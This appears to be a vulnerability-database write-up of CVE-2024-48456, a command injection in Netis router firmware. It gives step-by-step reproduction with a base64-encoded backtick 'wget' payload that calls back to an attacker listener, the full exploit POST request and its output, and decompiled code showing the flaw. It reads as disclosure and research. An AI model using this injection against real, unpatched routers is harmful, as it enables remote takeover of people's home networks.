Attacker Value
Very High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2024-48456

Disclosure Date: January 06, 2025
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Initial Access
Techniques
Validation
Validated

Description

An issue in Netis Wifi6 Router NX10 2.0.1.3643 and 2.0.1.3582 and Netis Wifi 11AC Router NC65 3.0.0.3749 and Netis Wifi 11AC Router NC63 3.0.0.3327 and 3.0.0.3503 and Netis Wifi 11AC Router NC21 3.0.0.3800, 3.0.0.3500 and 3.0.0.3329 and Netis Wifi Router MW5360 1.0.1.3442 and 1.0.1.3031 allows a remote attacker to obtain sensitive information via the parameter password at the change admin password page at the router web interface.

Add Assessment

2
Ratings
Technical Analysis

Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from an authenticated command injection vulnerability at the change admin password page of the router web interface.
The vulnerability stems from improper handling of the password and new password parameter within the router’s web interface. Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection vulnerability.

Here are the steps to reproduce the RCE:

  1. login into the router with the admin password
  2. Goto Tools->Admin Password
  3. Change Password and capture POST request with Burp
  4. Send POST request to the repeater
  5. Modify password and new_pwd_confirm field with base64 code of following command: `wget http://192.168.1.2` where the ip is your attacker system
  6. Start a http listener on your attacker system
  7. Issue modified POST request again and wait an incoming connection request on your http listener
# echo -n '`wget http://192.168.1.2`'|base64
YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA==
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

POST Request

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Cookie: password=SWwwdmVoYWNraW5n
Content-Length: 167
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: text/plain, */*; q=0.01
Sec-Ch-Ua-Platform: "Linux"
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/password.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: keep-alive

password=YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA%3D%3D&new_pwd_confirm=YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA%3D%3D&passwd_set=passwd_set&mode_name=skk_set&app=passwd&wl_link=0

Response

HTTP/1.1 200 OK
Date: Sun, 01 Jan 2023 00:13:24 GMT
Server: Boa/0.94.14rc21
Connection: close

["SUCCESS"]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.1 - - [27/Dec/2024 17:55:56] "GET / HTTP/1.1" 200 -

To understand this a bit better, we need to dig into the firmware code.
If you login in into the emulated router software, you will find the main web binary netis.cgi in /bin. This is a compiled MIPS ELF binary so we need a tool like ghidra to decompile and understand the code.

Loading and analyzing netis.cgi in ghidra shows that the main program is a wrapper that runs the specific cgi request calls like our skk_set.cgi that we can see with burpsuite when interacting with the Netis web interface.

undefined4 main(undefined4 param_1,char **param_2)

{
  bool bVar1;
  size_t sVar2;
  int iVar3;
  char *pcVar4;
  char *local_188;
  int local_184;
  int local_17c;
  void *local_160;
  char acStack_15c [256];
  char cStack_5c;
  char acStack_5b [63];
  int local_1c;
  char *local_18 [4];
  
  local_160 = (void *)0x0;
  memset(&cStack_5c,0,0x40);
  local_1c = 0;
  sVar2 = strlen(*param_2);
  while (local_1c < (int)sVar2) {
    memset(&cStack_5c,0,0x40);
    iVar3 = local_1c;
    FUN_0040670c((int)*param_2,'/',&local_1c);
    strncpy(&cStack_5c,*param_2 + iVar3,local_1c - iVar3);
    do {
      local_1c = local_1c + 1;
    } while ((*param_2)[local_1c] == '/');
  }
  local_188 = &cStack_5c;
  bVar1 = false;
  local_18[0] = "skk_set.cgi";
  local_18[1] = "upload_config.cgi";
  local_18[2] = "upload_fw.cgi";
  local_18[3] = (char *)0x0;
  local_17c = 0;
  do {
    if (local_18[local_17c] == (char *)0x0) {
LAB_00405408:
      if (bVar1) {
        iVar3 = open("/tmp/lock_all.lock",0x702,0x1b4);
        if (iVar3 < 0) {
          local_184 = FUN_004050fc();
          if (local_184 < 0) {
            local_184 = 0;
          }
          FUN_00405060(local_184);
          if (2 < local_184) {
            system("rm -rf /tmp/lock_all.lock");
            FUN_00405060(0);
          }
          printf("[\"LOCK\"]");
          return 0;
        }
        close(iVar3);
      }
      apmib_init();
      FUN_00422c38(&local_160,param_2[1]);
      DAT_00440d40 = FUN_00405190();
      if (local_188 == (char *)0x0) {
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_004214cc(&local_160);
        printf("[\"%d\"]",999);
      }
      else {
        pcVar4 = strstr(local_188,".cgi");
        if (pcVar4 != (char *)0x0) {
          pcVar4 = strchr(local_188,0x2f);
          if (pcVar4 != (char *)0x0) {
            local_188 = acStack_5b;
          }
          FUN_00405764(local_188,&local_160,acStack_15c);
        }
        fflush(stdout);
        FUN_004214cc(&local_160);
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_00405060(0);
      }
      return 0;
    }
    iVar3 = strcmp(local_188,local_18[local_17c]);
    if (iVar3 == 0) {
      bVar1 = true;
      goto LAB_00405408;
    }
    local_17c = local_17c + 1;
  } while( true );
}

Let’s check the code for the password string and see where is it used. You can do this by using the search function in ghidra.
This creates quite some hits, but the most interesting hit is the ex_password variable which seems to be linked to a script /bin/script/password.sh

                             ex_password                                     XREF[2]:     Entry Point(*), 
                                                                                          FUN_0041301c:00413180(*)  
        0043be44 2f 62 69        ds         "/bin/script/password.sh"
                 6e 2f 73 
                 63 72 69 

Checking out function FUN_0041301c:00413180(*) shows ex_password a.k.a. /bin/script/password,sh is being called by the function FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);.

undefined4 FUN_0041301c(undefined4 *param_1,undefined4 param_2,char *param_3,undefined4 param_4)

{
  char *pcVar1;
  byte *pbVar2;
  byte abStack_8c [132];
  
  pcVar1 = FUN_00405644(param_1,"usb3gEnabled");
  if (pcVar1 != (char *)0x0) {
    FUN_00405644(param_1,"usb3gPinCode");
    param_3 = FUN_00405644(param_1,"usb3gApn");
    param_4 = 0;
    FUN_00412fe4();
    FUN_00402e00("%s > /dev/console",ex_usbcontrol,param_3,param_4);
  }
  pbVar2 = (byte *)FUN_00405644(param_1,"ssid2g");
  if (pbVar2 != (byte *)0x0) {
    FUN_004030f4(abStack_8c,pbVar2);
    strcpy((char *)(pMib + 0x42c1),(char *)abStack_8c);
  }
  FUN_00402e00("echo 0 > %s","/proc/http_redirect/enable",param_3,param_4);
  memset(abStack_8c,0,0x80);
  apmib_get(0x159,abStack_8c);
  pcVar1 = "/proc/rtl_dnstrap/domain_name";
  FUN_00402e00("echo \'%s\' > %s",abStack_8c,"/proc/rtl_dnstrap/domain_name",param_4);
  FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);
  FUN_00402e00("%s > /dev/console",param_2,pcVar1,param_4);
  return 0;
}

Interesting, but lets check if this code segment really gets executed if we run the POST request again. A quick trick is to monitor the process list on the router and grep the relevant processes during the execution of the POST request.

# while true; do ps|grep -e password.sh -e rtl -e http_redirect|grep -v grep;done
 3518 root      1132 R    /bin/sh -c echo 0 > /proc/http_redirect/enable
 3520 root      1132 R    /bin/sh -c echo 'netis.cc' > /proc/rtl_dnstrap/domain
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root       324 R    /bin/script/password.sh
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root      1656 S    /bin/script/password.sh

And indeed /bin/script/password.sh gets executed as well as some other commands listed in the code.

So let’s now focus on the /bin/scripts/password.sh.
Checking out this shell script, it turns out to be a compiled MIPS ELF binary instead of a text readable unix shell script.

Let’s use ghidra again to decompile this binary and use the search function to look for the password string.
Again quite some hits, but then I stumble over a very interesting piece of code.

                             s_Changed_Username_and_Password_.._0041dc80     XREF[1]:     FUN_00409590:0040969c(*)  
        0041dc80 43 68 61        ds         "Changed Username and Password ...........\n"
                 6e 67 65 
                 64 20 55 

This is most likely the code section that sets the router administration password.

Checking out the function FUN_00409590 is revealing two major issues.

void FUN_00409590(void)

{
  undefined auStack_488 [64];
  undefined auStack_448 [64];
  undefined auStack_408 [1024];
  
  memset(auStack_408,0,0x400);
  memset(auStack_488,0,0x40);
  memset(auStack_448,0,0x40);
  apmib_get(0x15d,auStack_488);
  apmib_get(0x15e,auStack_448);
  RunSystemCmd("echo \"root::0:0:root:/:/bin/sh\" > /var/passwd");
  RunSystemCmd("echo \"nobody:x:0:0:nobody:/:/dev/null\" >> /var/passwd");
  RunSystemCmd("echo root:%s | chpasswd -m",auStack_448);
  RunSystemCmd("echo \"root:x:0:root\" > /var/group");
  RunSystemCmd("echo \"nobody:x:0:nobody\" >> /var/group");
  RunSystemCmd("chmod 755 /var/passwd");
  RunSystemCmd("chmod 755 /var/group");
  fwrite("Changed Username and Password ...........\n",1,0x2a,stderr);
  return;
}

The first issue is that the router administration password is directly linked to the root password of router itself.
Oeps! That is not really best practice and attackers love these things.

The second issue is the blind command injection where the vulnerable code RunSystemCmd("echo root:%s | chpasswd -m",auStack_448); allows an attacker to manipulate password argument represented by auStack_448 and inject and execute code using the unix backtics.
This explains why the password parameter is indeed vulnerable of blind command injection.

The RunSystemCmd function is just a piece a code which is defined in the library libapmib.so and executes a unix command line using the system() call.

void RunSystemCmd(char *param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)

{
  undefined4 local_res4;
  undefined4 local_res8;
  undefined4 local_resc;
  char acStack_118 [256];
  undefined4 *local_18;
  
  local_res4 = param_2;
  local_res8 = param_3;
  local_resc = param_4;
  memset(acStack_118,0,0x100);
  local_18 = &local_res4;
  vsprintf(acStack_118,param_1,local_18);
  system(acStack_118);
  return;
}

This CVE can be chained with CVE-2024-48455 and CVE-2024-48457 into an unauthenticated RCE.
A Metasploit module can be found here to exploit these routers.

Mitigation

There is no fix available.
The following router firmware versions are vulnerable:

References

CVE-2024-48456
Metasploit Module PR 19770
Research Notes – Netis Router Exploit Chain Reactor

Credits

h00die-gr3y –> Discovery

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Additional Info

Technical Analysis